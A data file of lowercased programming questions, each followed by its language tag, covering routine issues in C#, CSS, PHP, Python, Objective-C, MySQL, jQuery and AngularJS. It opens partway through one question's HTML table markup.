d=7pwsbim8mjigeb1wa5njl8vaqvyucqnpfodupjzvgdjugewsuhkhtqd6piyu4mvepwpz0y9a-4zqxtk6qcpcx7x1pdsr9sid6hyi6jggzaiw2azd88swunviw5rwsjfzbhhqxk_x-ham2_7abzivikxeemyvflgbqck5mn44tpzwhnforlsrlarv4opbv-s3san5jw2&amp;amp;t=634992170622404219  border= 0  imgtype= blank  style= visibility: hidden; &gt;&lt;/th&gt;                                         &lt;td class= ig_a92c6fb9_15  level= 0_0  id= ctl00xcontentplaceholder1xgridreportmain_rc_0_0 &gt;                                             &lt;nobr&gt;1&lt;/nobr&gt;                                         &lt;/td&gt;                                         &lt;td class= ig_a92c6fb9_16  level= 0_1  id= ctl00xcontentplaceholder1xgridreportmain_rc_0_1 &gt;                                             &lt;nobr&gt;&lt;div style= text-align:center &gt;row1col2&lt;/div&gt;&lt;/nobr&gt;                                         &lt;/td&gt;                                         &lt;td class= ig_a92c6fb9_17  level= 0_2  id= ctl00xcontentplaceholder1xgridreportmain_rc_0_2 &gt;                                             &lt;div style= text-align: left &gt;row1col3&lt;/div&gt;                                         &lt;/td&gt;                                         &lt;td class= ig_a92c6fb9_18  level= 0_3  id= ctl00xcontentplaceholder1xgridreportmain_rc_0_3 &gt;                                             &lt;nobr&gt;&lt;div style= text-align:center &gt;row1col4&lt;/div&gt;&lt;/nobr&gt;                                         &lt;/td&gt;                                         &lt;td class= ig_a92c6fb9_19  level= 0_4  id= ctl00xcontentplaceholder1xgridreportmain_rc_0_4 &gt;                                             &lt;nobr&gt;&lt;div style= text-align:right &gt;row1col5&lt;/div&gt;&lt;/nobr&gt;                                         &lt;/td&gt;                                     &lt;/tr&gt;                                 &lt;/tbody&gt;                                 &lt;tfoot class= ig_a92c6fb9_2 ig_a92c6fb9_4 ig_a92c6fb9_5  style= height: 21px;  onmousedown= igtbl_headerclickdown(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseup= igtbl_headerclickup(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseout= igtbl_headermouseout(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmousemove= igtbl_headermousemove(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  onmouseover= igtbl_headermouseover(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;);  oncontextmenu= igtbl_headercontextmenu(event &amp;quot;ctl00xcontentplaceholder1xgridreportmain&amp;quot;); &gt;                                     &lt;tr&gt;                                         &lt;th height= 21px &gt;                                             &lt;img src= /webresource.axd d=7pwsbim8mjigeb1wa5njl8vaqvyucqnpfodupjzvgdjugewsuhkhtqd6piyu4mvepwpz0y9a-4zqxtk6qcpcx7x1pdsr9sid6hyi6jggzaiw2azd88swunviw5rwsjfzbhhqxk_x-ham2_7abzivikxeemyvflgbqck5mn44tpzwhnforlsrlarv4opbv-s3san5jw2&amp;amp;t=634992170622404219  border= 0  imgtype= blank  style= visibility: hidden; &gt;&lt;/th&gt;                                         &lt;th id= ctl00xcontentplaceholder1xgridreportmain_f_0_0  height= 21px  key= col1 &gt;&amp;nbsp;&lt;/th&gt;                                         &lt;th id= ctl00xcontentplaceholder1xgridreportmain_f_0_1  height= 21px  key= col2 &gt;                                             &lt;nobr&gt;total&lt;/nobr&gt;                                         &lt;/th&gt;                                         &lt;th id= ctl00xcontentplaceholder1xgridreportmain_f_0_2  height= 21px  key= col3 &gt;&amp;nbsp;&lt;/th&gt;                                         &lt;th id= ctl00xcontentplaceholder1xgridreportmain_f_0_3  height= 21px  key= submissiondate &gt;&amp;nbsp;&lt;/th&gt;                                         &lt;th id= ctl00xcontentplaceholder1xgridreportmain_f_0_4  height= 21px  key= totalvalueofservices &gt;                                             &lt;nobr&gt;10 302&lt;/nobr&gt;                                         &lt;/th&gt;                                     &lt;/tr&gt;                                 &lt;/tfoot&gt;                             &lt;/table&gt;                         &lt;/div&gt;                     &lt;/td&gt;                 &lt;/tr&gt;                 &lt;tr style= height: 1% &gt;                     &lt;td id= ctl00$contentplaceholder1$gridreportmain_pager  align= right  class= ig_a92c6fb9_0 ig_a92c6fb9_1  style= border-top-width: 0px; height: 100%;  onclick= igtbl_onpagerclick( ctl00xcontentplaceholder1xgridreportmain  event) &gt;&amp;nbsp;&lt;/td&gt;                 &lt;/tr&gt;             &lt;/tbody&gt;         &lt;/table&gt;     &lt;/div&gt; </code></pre>,c#
unable to set the orientation property of the pagesetup class in excel program  i have written following code in .net   <pre><code>excel = new excel.application wbook = excel.workbooks.add() wsheet = wbook.activesheet() wsheet.pagesetup.orientation = xlpageorientation.xllandscape </code></pre>   when i run this from local sytem it is working  and when i copy this to a server and will be run from a service giving following error.    unable to set the orientation property of the pagesetup class,.net
how can i share my app url on fb   here is my code from where i am redirecting to facebook-   <pre><code>(void)fb_btnpressed:(uibutton*)button {      [[uiapplication sharedapplication]openurl:[nsurl urlwithstring:@ https://www.facebook.com/ ]];  } </code></pre>,objective-c
dynamically calling methods  in php we can call methods dynamically like this:   <pre><code>class klass{     function method1(){ ... }     function method2(){ ... }     function method3(){ ... }      function methodn(){ ... } } </code></pre>   and i can call dynamically like this:   <pre><code>klass k = new klass(); $i = 0; while($i &lt;= n){     k-&gt;method{$i}(); }  //or $i =  anything ;     k-&gt;$i(); </code></pre>   can anybody please tell me how can i achieve this in java,java
how to resolve linker error for functions in ldap.h file for objective-c code  here i am trying ldap for authenticating the user. here is some piece of my code.   <h1>import </h1>   here i am initializing the ldap part.   <pre><code> ldap          *ld;  printf(  connecting to host %s at port %d...\n\n   hostname          portnumber );  if ( (ld = ldap_init( hostname  portnumber )) == null ) {     perror(  ldap_init  );     return( 1 ); } </code></pre>   i am getting following error:    undefined symbols for architecture x86_64:    _ldap_init   referenced from:       _main in main.o ld: symbol(s) not found for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation)    definitely i need to add the reference for -lldap library.since i am new to this objective-c  i am facing some issues in adding library.    please guide me on this.    thanks.,objective-c
fill max-width before max-height   i have div element with min-width  min-height  max-width  and max-height styling applied. the div will simply contain text.    the desired behavior i want is for the div to grow horizontally to fit the contents until it reaches max-width  and only then  i want the height to increase towards max-height as needed to fit the text contents.    the behavior right now is that the div stays at min-width and expands veritcally. how can i get the desired behavior     update: the code:   <pre><code>.tooltip-body {     max-width: 265px;     min-width: 200px;      min-height: 34px;     max-height: 46px; } </code></pre>  <hr>  <pre><code>&lt;div class= tooltip-body &gt;and the text goes here...&lt;/div&gt; </code></pre>,css
adding google map in asp.net application  i am develope web application for factory i need to add google map with location of factory in contact us web page.any help i am just beginging with web development,asp.net
selecting two options and go to a html page  i have two <code>select</code> and i want to let jquery know if white selected and black selected go to <a href= https://stackoverflow.com/ >https://stackoverflow.com/</a>   <pre><code>&lt;select id= filter-select &gt;  &lt;option value= white &gt;white&lt;/option&gt;  &lt;option value= black &gt;black&lt;/option&gt;  &lt;/select&gt;  &lt;select id= filter-select &gt; &lt;option value= green &gt;green&lt;/option&gt; &lt;option value= blue &gt;blue&lt;/option&gt; &lt;/select&gt; </code></pre>,jquery
how to extract signatures of signed packages in java  <pre><code>packagemanager pm = this.getpackagemanager(); packageinfo info = pm.getpackageinfo( pkgname   packagemanager.get_signatures); signature[] sig = info.signatures; string sigstring = new string(sig[0].tochars()); system.out.println(sigstring);` </code></pre>   i wrote the following scriptlet to extract the signature but it does not work.    i found this on the net.    i get a compilation error as  the method getpackagemanager() is undefined for this class     i also tried using context class but doesnt help.,android
z-index troubles with nivo slider and dropdown menu  i thought the answer to this would be relatively straight forward but have thus far not been able to get it working for me.    basically at this url i have a slider which keeps sitting above a drop down menu which drops down from lingerie link.    <a href= http://cocoslingerie.co.uk/  rel= nofollow >http://cocoslingerie.co.uk/</a>    i have set the drop down to a higher z-index than the nivo slider but still no luck.    can anybody make any suggestions,css
writing source code in php without special characters  is there a way to print special characters in php using only source code with ascii characters     for example  in javascript  we can use \u00e1 in the middle of text.<br> in java we can use \u2202 for example.    and in php  how can i use it     i don t want to include special chars in my source code.,php
how to stop a service running in a separate(private) process in android   normally we can stop a service by <code>context.stopservice(new intent(...))</code>  but is that the case for a service in a separate process  i was debugging for that scenario and didn t see the service is destroyed after that call.,android
select_tag rails question  i have a select_tag  that is like this:  select something something 1 something 2 ...    after i chose something 2 and hit the submit button  it refreshes the page  but on the select_tag it shows select something again. how can i make it show something 2,ruby-on-rails
android error execution failed for task  hi all i m facing a problem with this error in android how to solve this error.    error:execution failed for task  :app:transformclasseswithjarmergingfordebug .   <blockquote>    com.android.build.api.transform.transformexception: java.util.zip.zipexception: duplicate entry: com/google/android/gms/internal/zznf$zza.class  </blockquote>,android
img src to a link  is it possible to make this chili img to a  a href . the function of the pop up is working fine  but there is no  hand   when you hover the picture.     <a href= https://vouzalis.com/courses/au/test.php  rel= nofollow >link to my portfolio</a>    <strong>html</strong>   <pre><code>&lt;img         src= /images/thumbs/image1.jpg       data-toggle= modal       data-target= #mymodal1       alt= trolltunga  norway       width= 300px       height= 200px  &gt;  &lt;div id= mymodal1  class= modal fade  tabindex= -1  role= dialog  aria-labelledby= mymodallabel  aria-hidden= true &gt;   &lt;div class= modal-dialog &gt;     &lt;div class= modal-content &gt;         &lt;div class= modal-body &gt;             &lt;img src= //placehold.it/1000x600  class= img-responsive &gt;         &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   <strong>js</strong>   <pre><code>function centermodal() {     $(this).css( display    block );     var $dialog = $(this).find( .modal-dialog );     var offset = ($(window).height() - $dialog.height()) / 2;     // center modal vertically in window     $dialog.css( margin-top   offset); }  $( .modal ).on( show.bs.modal   centermodal); $(window).on( resize   function () {     $( .modal:visible ).each(centermodal); }); </code></pre>,html
how to make a general logic comparison function in objc  maybe my title is a little bit confusing so i ll illustrate with a scenario    let say i want to compare between 2 int values and return me a boolean based on the logical comparison.   <pre><code>if (int1 &gt; int2) return true; if (int3 &lt; int4) return true; if (int5 == int6) return true; if (int7 &gt;= int8) return true; if (int9 &lt;= int10) return true; </code></pre>   but instead of writing this manually  i wish to do something like   <pre><code>- (bool)compareval1: (int)val1 withval2: (int)val2 usinglogical: (nsstring*)logic {      if (val1  logic  val2) return true; } </code></pre>   i want a general function which can be used to represent the 5 logical comparison that i want. i m not sure whether this is achievable but if you have any other solutions  please advise :),objective-c
how to fetch the active record by passing the id in sql server  i have the following database design:   <pre><code>table content id     status     replacedid  1   c       null 2   c       1 3   c       2 4   a       3 5   a       null 6   a       null 7   a       null </code></pre>   the logic here  is as follows    id  1  is canceled  and instead that id  2  is created so the record 2 has a reference to the id  1  in the replacedid column. like that  id 2 is canceled and id  3  is created    3  is canceled and  4  is created. the canceled records status is  c  and the active records status is  a     my requirement :    i have to show the active record for the id by passing the id (1) if that is a canceled record othere wise the same record if that is a active record.,sql
creating a deck of cards - dont get a part of the deck class - beginning visual c# 2010  i am new to c# and new to this forum. decided to learn c# two months ago and started with beginning visual c# 2010. didnt need any help till now. in this chapter (ch10) i had to create a deck of cards. i already made two enums with ranks and suits. after this i created the card class:    <pre><code>public class card {     public readonly rank rank;     public readonly suit suit;      private card()     {      }      public card(suit newsuit  rank newrank)     {         suit = newsuit;         rank = newrank;     }      public override string tostring()     {         return  the   + rank +  of   + suit +  s ;     } } </code></pre>   after this i had to make the deck class:   <pre><code>public class deck {     private card[] cards;      public deck()     {         cards = new card[52];         for (int suitval = 0; suitval &lt; 4; suitval++)         {             for (int rankval = 1; rankval &lt; 14; rankval++)             {                 **cards[suitval * 13 + rankval -1] = new card((suit)suitval (rank)rankval);**             }                         }     } </code></pre>   there is more to the deck class but i just dont get the part in bold (the 13 at least makes sence  feeling whise  since there are 13 cards per suit  but i really cant place the -1). what exactly happens in the deck class and specifically in the part in bold     thanks in advance,c#
selecting from the cjk languages on the iphone  i ve localized my application in several languages and they all work fine except  i don t know how to test in chinese. i have made all my <code>.xib</code> files <code>zh</code> for chinese simplified but don t know where chinese is on the iphone language settings. i can t tell the difference between chinese  korean  japanese or any other similar far eastern languages therefore  i can t set my simulator or iphone accordingly to test it. is there someone who can guide me to the appropriate language setting on the iphone please,ios
python installations  directories and environments - good resource to understand the basics  newbie here. i m using python (3) on my mac  and although i m able to write some (basic) scripts  i realise i have lots of confusion around where python is stored  the famous usr/bin directory  where packages are saved  etc.    for example i had pip installed and working fine  but then i installed miniconda and all of a sudden pip was  managed  (for lack of a better term) by conda  some of the packages i had installed couldn t be found anymore etc.    this highlights just how confused i am with all of this. can you recommend a good resource that can explain how these things work together  ideally something for beginners :),python
what are cons to write and manage css in notepad   what are cons to write and manage css in notepad  in compare to any css ide     specially in team environment  how much it will effect to project timeline if we are forced to use notepad.    should we always use an ide for css,css
how to align social media icons in one row   i managed to add facebook  twitter and g +1 social media buttons to my website in one row. but when i try to add the vk like button to the same row it just goes beneath the rest.    <ol> <li>i tried aligning all 4 of them by using css and all buttons aligned correctly while the vk button just displaced to a new row. here is how i tried doing it:</li> </ol>   <code>#social {     text-align: center;     margin-bottom: 20px;</code>   <ol> <li>tried using basic html <code>&lt;center&gt;&lt;/center&gt;</code> and same story first 3 buttons did align  the vk button went to a new row.</li> </ol>   here is the code for vk button: <code>&lt;div id= vk_like &gt;&lt;/div&gt; &lt;script type= text/javascript &gt; vk.widgets.like( vk_like   {type:  button   height: 20}); &lt;/script&gt;</code>    hope you can help me sort this one out. thanks in advance!,css
what does d mean in html datetime format  yyyy-mm-ddthh:mmtzd   <a href= http://prasanjitmandal.blogspot.tw/2010/06/sharepoint-datetime-format-conversions.html  rel= nofollow >http://prasanjitmandal.blogspot.tw/2010/06/sharepoint-datetime-format-conversions.html</a>    the above link says <strong>z</strong> <code>indicates the coordinated universal time (utc)</code>     but what does last <strong>d</strong> mean in    <blockquote>    yyyy-mm-ddthh:mmtz<strong>d</strong>  </blockquote>   (i refer to the very last <strong>d</strong>; not the two <strong>dd</strong> which stand for <code>day-of-month</code>.),html
how to include an asp.net widget in an asp.net page  guys  sorry for the title of the post... i m not so good in english  and it is a little difficult for me to explain.     i m working on a advertismnet web site.     i ve to insert in different page something like a widget  ... a listview that show 5 rilevant (payed) ads ...     but as a  good  programmer  i know i don t write things more than once... so i m asking you...  how to  include  a piece of code (aspx and codebehind) in different asp.net page       i think you can answer me :  use master page and content page ... but each time  this  widget  will be in different place...     so... please give me the right way ! thanks in advance!,asp.net
ckeckbox marked angularjs  i have an html structure mounted within a ng-repeat with ckeckboxes horizontally and vertically is a multidimensional array . when i click on one  i have to save to the database. so far so good   the problem being to bring these checkbox marked because the method that i bring the results   the model of the array of myself as undefined. follow the link codes :   <pre><code>`http://jsfiddle.net/8eepu0o8/` </code></pre>,angularjs
jquery date time format  i found a date and time on jsfiddle i have tried to change the display with no luck.    it currently displays like this     08/30/2016 at 7:48 am     but i need it to display like this     sun 2016 28  august 13:23 hrs    i am not sure how to go about it.   <pre><code>function updatingclock(selector  type) {         function currentdate() {             var currentdate = new date;             var day = currentdate.getdate();             if (day &lt; 10) {                 day =  0  + day;             } //end if             var month = currentdate.getmonth() + 1;             if (month &lt; 10) {                 month =  0  + month;             } //end if             var year = currentdate.getfullyear();             var fulldate = month +  /  + day +  /  + year;             return fulldate;         } //end current date function          function currenttime() {             var currenttime = new date;             var minutes = currenttime.getminutes();             if (minutes &lt; 10) {                 minutes =  0  + minutes;             }             var hour = currenttime.gethours();             if (hour &gt; 12) {                 hour -= 12;             } //end if             var time = hour +  :  + minutes;             if (currenttime.gethours() &lt;= 12) {                 time +=   am ;             } //end if             if (currenttime.gethours() &gt; 12) {                 time +=   pm ;             } //end if             return time;         } // end current time function           function updateoutput() {             var output;             if (type ==  time ) {                 output = currenttime();                 if ($(selector).text() != output) {                     $(selector).text(output);                 } //end if             } //end if             if (type ==  date ) {                 output = currentdate();                 if ($(selector).text() != output) {                     $(selector).text(output);                 } //end if             } //end if             if (type ==  both ) {                 output = currentdate() +   at   + currenttime();                 if ($(selector).text() != output) {                     $(selector).text(output);                 } //end if             } //end if         }//end update output function         updateoutput();         window.setinterval(function() {             updateoutput();         }  1000); //run update every 1 second     } // end updating clock function     updatingclock( #date-time    both ); </code></pre>,jquery
output gets messed up when redirected to a file  here is my code that is doing the printing that gets messed up. the output is fine when you display it to your screen (terminal). unfortunately when you redirect it to a text file it gets messed up. it displays the null characters (^@) and enquiry characters (^e). i have to use a for loop like this or my outputs gets messed up. i can t use the %s option or my output won t be in the way i need it.    <pre><code>file *input; char line[80] = {0}; while(fgets(line  80  input) != null) {     if((int)line[0] == 46)     {         //printf( you have a period \n );         for(i = 31; i &lt; 80; i++)         {             printf( %c   line[i]);         }         //printf(  ------------------------\n );         memset(line  0  80);         comment_flag = 1;      } } </code></pre>   this is what i mean when i say redirect.    <pre><code>gcc *.c ./a.out &gt; text_file </code></pre>,c
mysql query running very slow  i have a mysql database with <strong>7 tables</strong>.my problem is there are millions of records in database  the following query is taking lot of time.what should i do    <pre><code>(select  res  as tbl         mlsnum         streetname         streetnum         listdate         gpext_latitude         gpext_longitude         zipcode         listprice         beds         bathsfull         sqftbldg         modified         yearbuilt    from rets_property_res   where liststatus =  active )   union      all (select  rnt  as tbl         mlsnum         streetname         streetnum         listdate         gpext_latitude         gpext_longitude         zipcode         listprice         beds         bathsfull         sqftbldg         modified         yearbuilt    from rets_property_rnt   where liststatus =  active )   union       all (select  lnd  as tbl         mlsnum         streetname         streetnum         listdate         gpext_latitude         gpext_longitude         zipcode         listprice         null as beds         null as bathsfull         null as sqftbldg         modified         null as yearbuilt    from rets_property_lnd   where liststatus =  active )   union     all (select  hir  as tbl         mlsnum         streetname         streetnum         listdate         gpext_latitude         gpext_longitude         zipcode         listprice         beds         bathsfull         sqftbldg         modified         yearbuilt    from rets_property_hir   where liststatus =  active )   union     all (select  cnd  as tbl         mlsnum         streetname         streetnum         listdate         gpext_latitude         gpext_longitude         zipcode         listprice         beds         bathsfull         sqftbldg         modified         yearbuilt    from rets_property_cnd   where liststatus =  active )   union      all (select  mul  as tbl         mlsnum         streetname         streetnum         listdate         gpext_latitude         gpext_longitude         zipcode         listprice         null as beds         null as bathsfull         sqftbldg         modified         yearbuilt    from rets_property_mul   where liststatus =  active )   order       by listdate desc   limit 0  48  </code></pre>,mysql
why does my homebutton doesn t resize according to my css attribute   this is how i link my css with my entire masterpage in visual studio    <pre><code>&lt;link rel= stylesheet  href= css/style.css  type= text/css  /&gt; </code></pre>   this is how my homebutton is being created.   <pre><code>&lt;div id= homebutton &gt; &lt;input type= image  src= image/logo.jpg &gt; &lt;/div&gt; </code></pre>   and this is how my css look like   <pre><code>#homebutton {    position:absolute;    left:0%;    top:0%;    margin: 0px;    height:70px; } </code></pre>   however  when i change the height to any pixel  the homebutton s size still remain the same. up to now i still dont know why.,css
css gets overwritten by another css  i have this css below. some how my this css s clicked link gets over written by some other css once i click the link. it turns the link color to red. i tried to keep it white in code below but thats not helping. what can i do to get it working   <pre><code>.grey {     background-color:#545154;     -moz-border-radius:6px;     -webkit-border-radius:6px;     border-radius:6px;     border:1px solid #120c12;     display:inline-block;     color:#ffffff;     font-family:arial;     font-size:15px;     font-weight:bold;     padding:6px 24px;     text-decoration:none; }.grey:hover {     background-color:#a8a5a8; }.grey:active {     position:relative;     top:1px; }   .grey a:visited{   color:white !important;   }  .grey a:link{   color:white !important;;   } </code></pre>   html   <pre><code>&lt;a href= www.site.com  class= grey  style= color:white; &gt;site&lt;/a&gt; </code></pre>,css
wraping foreach loop into div doesnt work <pre><code>function news($newsarray) {     $str=  ;           &lt;div&gt;foreach($newsarray as $value)          {             $str.= &lt;h3&gt;{$value[ title ]}&lt;/h3&gt; ;             $str.= &lt;h4&gt;{$value[ content ]}&lt;/h4&gt; ;         }&lt;/div&gt;       return $str;     }     echo news($newsarray); </code></pre>   i want to wrap it up the foreach loop into div  but it doesn t work  i know it is something with the escaping but i m new in programming and i have hard times with the documentation. i ve asked a similar question earlier  but i m really confused  sorry for asking again.    on the localhost it says    <blockquote>    parse error: syntax error  unexpected <code>title</code> (t_string) in c:\xampp\htdocs\news\news.php on line 17  </blockquote>,php
php ldap_error reports nothing  i am running the following and my command is failing.  it correctly stops at die() but does not print the ldap_error().     <pre><code>// now for ldap           require_once( ldapconnect.php );            $entry[ mysqldbname ] = $value;           $result = ldap_mod_del($ldapconn  $binddn  $entry)or die(ldap_error()); </code></pre>   i already know the connection is fine as i have tested it here before and it s also working just fine on another page.  any idea why my error isn t printing,php
python - a typeerror occurs calling a overwritten method  i m running into a problem with method overwriting.     look at the src code below    <pre><code>class foo(object):   @staticmethod   def bar():     pass  foo.bar() # works fine  print foo.bar # &lt;function bar at 0x028a5b30&gt;  print dir(foo.bar)     [ __call__    __class__    __closure__    __code__    __defaults__    __delattr__    __dict__    __doc__    __format__    __get__    __getattribute__    __globals__    __hash__    __init__    __module__    __name__    __new__    __reduce__    __reduce_ex__    __repr__    __setattr__    __sizeof__    __str__     __subclasshook__    func_closure    func_code    func_defaults    func_dict     func_doc    func_globals    func_name ]      backup = foo.bar # keep the instance of the method object  foo.bar = backup # overwrite with the same method object  print foo.bar # &lt;unbound method foo.bar&gt;  print dir(foo.bar)     [ __call__    __class__    __cmp__    __delattr__    __doc__    __format__     __func__    __get__    __getattribute__    __hash__    __init__    __new__     __reduce__    __reduce_ex__    __repr__    __self__    __setattr__    __sizeof__     __str__    __subclasshook__    im_class    im_func    im_self ]      foo.bar() # typeerror: unbound method foo() must be called with test instance as first argument (got nothing instead) </code></pre>   it is interesting that the foo.bar.im_func attribute is actually the method and works just fine when invoked. i m wondering if there s a way to recover the foo.bar method with its im_func attribute  please advice~    thanks!,python
unable to step in to .net framework source code  i am able to load the symbols but not able to step-in. how to achieve this     this is for .net 3.5 sp1,.net
error with finding area of ​​the intersection of two rectangles (objective-c)  i make program  which will find area of ​​the intersection of two rectangles. i have height  width and coordinates of this rectangles.    but it wont work! xcode terminates program with  thread 1: signal sigabrt  on this line (rectangle.m):     <code>reswidth = (origin.x + width) - (second.origin.x + second.width);</code>     so  here s my code:    main.m:    <pre><code>#import &lt;foundation/foundation.h&gt; #import  rectangle.h  #import  xypoint.h   int main(int argc  const char * argv[]) {      nsautoreleasepool * pool = [nsautoreleasepool new];     rectangle *myrect1 = [rectangle new];     rectangle *myrect2 = [rectangle new];     xypoint *temp = [xypoint new];      [temp setx: 200 andy: 420];     [myrect1 setorigin:temp];    [temp setx: 400 andy: 300];    [myrect2 setorigin:temp];    [temp dealloc];     [myrect1 setwidth:250 andheight:75];    [myrect2 setwidth:100 andheight:180];     double print = [myrect1 intersect:myrect2];     nslog(@ %g   print);     [pool drain];     return 0; </code></pre>   }    rectangle.h:   <pre><code>#import &lt;foundation/foundation.h&gt; #import  xypoint.h   @interface rectangle : nsobject { double width; double height; xypoint *origin; }  @property double width  height;  -(xypoint *) origin; -(void) setorigin: (xypoint *) pt; -(void) setwidth: (double) w andheight: (double) h; -(double) area; -(double) perimeter; -(double) intersect: (rectangle *) second;  @end </code></pre>   rectangle.m:   <pre><code>#import  rectangle.h   @implementation rectangle  @synthesize width  height;  -(void) setorigin:(xypoint *)pt {     origin = [[xypoint alloc] init];     [origin setx: pt.x andy: pt.y]; }  -(void) setwidth: (double) w andheight: (double) h {     width = w;     height = h; }  -(double) area {     return width * height; }  -(double) perimeter {     return (width + height) * 2; }  -(double) intersect:(rectangle *) second {     double result reswidth resheight;     reswidth = (origin.x + width) - (second.origin.x + second.width);     if (reswidth&lt;0) reswidth *= -1;     resheight = (origin.y + height) - (second.origin.y + second.height);     if (resheight&lt;0) resheight *= -1;     result = reswidth * resheight;     if (result&lt;0) result *= -1;     return result; } @end </code></pre>   xypoint.h:   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface xypoint : nsobject {     double x;     double y; }  @property double x y;  -(void) setx:(double) xval andy: (double) yval;  @end </code></pre>   xypoint.m:   <pre><code>#import  xypoint.h   @implementation xypoint  @synthesize x y;  -(void) setx:(double) xval andy: (double) yval {     x=xval;     y=yval; }  @end </code></pre>   thanks!!!!,objective-c
setting the relative path in java  i have a java file which needs to read from another java file in the same package. however  when i am using the following code   it shows <code>filenotfoundexception</code>.   <pre><code>bufferedreader in = new bufferedreader(new filereader( /wordlist.txt )); </code></pre>   can you please help me,java
replace instead of remove file image  i m not a good user of jquery as i used to program many years in the past. may i kindly as for your support  i would need this script but instead of deleting the file fields  i would need to have it replaced by a placeholder image when sending the form (let s say - blank.jpg instead of   ). what code would i need  kind regards   <pre><code>$(function() {   $( form ).submit(function(){     $( input:file   this).filter(function(){       return ($(this).val().length == 0);     }).remove();   }); }); </code></pre>,jquery
mysql sum and group by giving wrong results  i am using following tables...   <pre><code>stats (id  game  user_id  rank  score  dnt) teams(id  name  dnt) users(id  username  email  team_id  dnt) </code></pre>   i want to grab top 10 high scorer teams based on stats(team total score gets calculated on total score by its users)     sample data for stats...   <pre><code>| id | game | user_id | rank | score | dnt | +----+------+---------+-------+------+-----+ |  1 | test | 5       | 2    | 2200  |  +--------+----------+----------+-----+-----+ |  2 | test | 3       | 1    | 2500  |  +--------+----------+----------+-----+-----+ </code></pre>   teams   <pre><code>| id | name  | dnt | +----+-------+-----+ |  1 | team1 |     | +----+-------+-----+ |  2 | team2 |     | +----+-------+-----+ </code></pre>   users   <pre><code>| id | username | email | team_id | +----+----------+-------+---------+ |  1 | user1    |       | 1       | +----+----------+-------+---------+ |  1 | user2    |       | 2       | +----+----------+-------+---------+ </code></pre>   and i am trying following sql query...   <pre><code>select t.name as team_name  sum(s.score) as total_score          from teams t          join users u on u.team_id = t.id         join stats s on s.user_id = u.id         group by team_name order by total_score desc </code></pre>   but above query is returning 0 rows  even i want your help tp write up top 10 users score.    thanks for help.,mysql
how to obtain the address of object in objective-c  i have to call an objective c method from a cpp function.    i have a class c  whose object address is required in this function. i did come across <a href= https://stackoverflow.com/questions/304885/unable-to-call-an-objective-c-method-from-a-c-function >another link</a> which guided me on how to have a reference to the class c  and use it for invocation from the cpp function.    in my case  there is one small difference in that the class c is already instantiated  and i would not want to allocate an object again. so how can i get its object address     the code looks like this:   <h1>c.h</h1>  <pre><code>import cocoa/cocoa.h  id reftoc  @interface c: nsobject {  ;  somemethod;  ; }  @end </code></pre>  <h1>c.m</h1>  <pre><code>@implementation c  - (void) somemethod { ; ; }  @end </code></pre>  <h1>b.mm</h1>  <pre><code>import c.h  void func() {  //i need the address of object here  so as to invoke: [reftoc somemethod]; } </code></pre>   thanks in advance    ~ps7,objective-c
how to make this banner ad same as in another site  how to make red banner ad shown in the top of : <a href= http://forum.creditcardpaymentgateways.in/index.php  rel= nofollow noreferrer >http://forum.creditcardpaymentgateways.in/index.php</a> same as shown in this site: <a href= http://www.creditcardpaymentgateways.in  rel= nofollow noreferrer >http://www.creditcardpaymentgateways.in</a>      i ve tried to use this code but not working out:   <pre><code>&lt;div id= anu-utility2  width= 525  style= margin:auto auto &gt; &lt;a href= http://www.creditcardpaymentgateways.in/pc-tech-support-payment-gateway-new-offer-from-mumbai-based-comapny.html &gt;&lt;img style= display:block;width:529px;margin:auto auto  width= 529  height= 75  src= http://www.creditcardpaymentgateways.in/images/banners/celebrationoffer4.jpg  title= click here  /&gt;&lt;/a&gt;&lt;/div&gt; </code></pre>   i want to remove the light colored background rectangle behind the red banner(used in the forum): <img src= https://i.stack.imgur.com/pvbao.jpg  alt= enter image description here >    the forum is in phpbb and site is in joomla.,css
how to count the number of instances of a class within a list   i have a list that i am appending different objects to.    how would i find the total number of instances of a specific class within that list please,python
asp.net usercontrol checkbox oncheckedchanged  i want to create a usercontrol in which i will have a checkbox and a textbox. if the checkbox is checked then enable property of textbox is true else it is false.    this is what i have in my page :   <pre><code>&lt;form id= form1  runat= server &gt;     &lt;div&gt;         &lt;custom:nullabletextbox id= nullabletextbox1  oncheckedchanged= nullabletextbox1_oncheckedchanged  runat= server &gt;&lt;/custom:nullabletextbox&gt;     &lt;/div&gt; &lt;/form&gt; </code></pre>   and this is the class of my usercontrol :   <pre><code>public partial class nullabletextbox : system.web.ui.usercontrol {     protected void page_load(object sender  eventargs e)     {      }      public nullabletextbox()     {         checkbox1.checkedchanged += new eventhandler(ckb_checkedchanged);          this.controls.add(checkbox1);         this.controls.add(textbox1);     }      private checkbox checkbox1 = new checkbox();     private textbox textbox1 = new textbox();      private void ckb_checkedchanged(object sender  eventargs e)     {         if (checkbox1.checked)         {             textbox1.enabled = true;         }         else         {             textbox1.text = string.empty;             textbox1.enabled = false;         }     } } </code></pre>   nothing is happening when i check or uncheck the checkbox and i would like it to be updated instantly without doing a postback.,asp.net
issue with angularjs $http delete method in firefox  i have been searching in the google world but the solution not yet find. i am writing a method to delete a record in the ng-grid. this works great in ie and chrome  but not working in firefox. it looks an exception of type aborting the operation but no exception in the console.    the following is my code block.   <pre><code>$scope.delete = function (row) {               $scope.id = $scope.mydata[row.rowindex].empid;               $http({                   method:  delete                     url:  /api/values/delete/                     contenttype:  application/json                     params: {id1:$scope.id} // pass in data as strings               }).success(function (data) {                             }).error(function (data) {               });           } </code></pre>   any one could you please guide me to solve the problem.,angularjs
